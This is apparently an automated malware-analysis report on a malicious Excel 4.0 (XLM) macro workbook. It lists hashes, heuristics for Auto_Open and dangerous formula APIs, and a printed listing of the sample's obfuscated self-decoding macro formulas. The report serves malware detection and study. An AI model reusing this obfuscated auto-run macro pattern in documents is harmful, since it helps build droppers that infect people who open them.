Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ffc154bf2c41b63d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:02 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 479bd2351351b586209ef30815b51f1b SHA-1: 75cacbff3c9a0dd2dd3797e88699ceaa0c868ec7 SHA-256: ffc154bf2c41b63dd418359364e159e7c60b1bee9f9d7509d828aab8b34652b1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6434 bytes
SHA-256: dc69b2c9e83ecad718ace2b6a55cc44c5dba93c4876ff05da7db5caee7faa29d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  JvXa
' 0018     21 LABEL : Cell Value, String Constant - afUCIl len=0 
' 0018     21 LABEL : Cell Value, String Constant - aPUpXM len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A166 
' 0018     25 LABEL : Cell Value, String Constant - BvNeYwNhPb len=0 
' 0018     22 LABEL : Cell Value, String Constant - Dktarhy len=0 
' 0018     27 LABEL : Cell Value, String Constant - HcTEaJFOIiyw len=0 
' 0018     26 LABEL : Cell Value, String Constant - HKjWcCEzUPK len=0 
' 0018     24 LABEL : Cell Value, String Constant - iVsDpiBmm len=0 
' 0018     26 LABEL : Cell Value, String Constant - LdMrzRVCvtg len=0 
' 0018     22 LABEL : Cell Value, String Constant - mADkAOv len=0 
' 0018     26 LABEL : Cell Value, String Constant - MJXhKztmPHK len=0 
' 0018     21 LABEL : Cell Value, String Constant - ocTTaX len=0 
' 0018     23 LABEL : Cell Value, String Constant - QhBiUpZj len=0 
' 0018     21 LABEL : Cell Value, String Constant - rOsmTd len=0 
' 0018     27 LABEL : Cell Value, String Constant - ShrijDJXAmoc len=0 
' 0018     27 LABEL : Cell Value, String Constant - sjvkGvsdWtHE len=0 
' 0018     23 LABEL : Cell Value, String Constant - wyBkEnta len=0 
' 0018     21 LABEL : Cell Value, String Constant - xeiLvV len=0 
' 0018     21 LABEL : Cell Value, String Constant - zSYPpw len=0 
' 0018     26 LABEL : Cell Value, String Constant - zvUwpKKEZEb len=0 
' 0018     26 LABEL : Cell Value, String Constant - zXTkvuSgmWc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  JvXa,A80,"SET.NAME("zvUwpKKEZEb",VALUE("0"))",""
'  JvXa,A82,"SET.NAME("rOsmTd",zvUwpKKEZEb)",""
'  JvXa,A86,"SET.NAME("ShrijDJXAmoc",zvUwpKKEZEb)",""
'  JvXa,A89,"SET.NAME("LdMrzRVCvtg",COUNTA(HcTEaJFOIiyw))",""
'  JvXa,A93,"SET.NAME("aPUpXM",COUNTA(QhBiUpZj))",""
'  JvXa,A95,[],""
'  JvXa,A97,"SET.NAME("wyBkEnta","")",""
'  JvXa,A100,"rOsmTd",""
'  JvXa,A102,"SET.NAME("mADkAOv",HLOOKUP("*",HcTEaJFOIiyw,rOsmTd,FALSE))",""
'  JvXa,A105,"Dktarhy",""
'  JvXa,A110,"SET.NAME("MJXhKztmPHK",zvUwpKKEZEb)",""
'  JvXa,A113,[],""
'  JvXa,A118,"MJXhKztmPHK",""
'  JvXa,A121,"iVsDpiBmm",""
'  JvXa,A125,"zXTkvuSgmWc",""
'  JvXa,A128,"BvNeYwNhPb",""
'  JvXa,A132,"SET.NAME("ocTTaX",VALUE(HLOOKUP("*",QhBiUpZj,BvNeYwNhPb,FALSE)))",""
'  JvXa,A134,"xeiLvV",""
'  JvXa,A138,"wyBkEnta",""
'  JvXa,A142,"ShrijDJXAmoc",""
'  JvXa,A147,NEXT(),""
'  JvXa,A150,"afUCIl",""
'  JvXa,A154,"SET.NAME("f",INT(T(FORMULA(T(wyBkEnta)&"",""&T(afUCIl)))))",""
'  JvXa,A156,"sjvkGvsdWtHE",""
'  JvXa,A158,NEXT(),""
'  JvXa,A161,RETURN(),""
'  JvXa,A187,"SET.NAME("zSYPpw",A80)",""
'  JvXa,A190,"HcTEaJFOIiyw",""
'  JvXa,A194,"SET.NAME("QhBiUpZj",R50C12)",""
'  JvXa,A196,"SET.NAME("sjvkGvsdWtHE",204)",""
'  JvXa,A200,"SET.NAME("HKjWcCEzUPK",1)",""
'  JvXa,A203,zSYPpw(),""
'  JvXa,A204,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.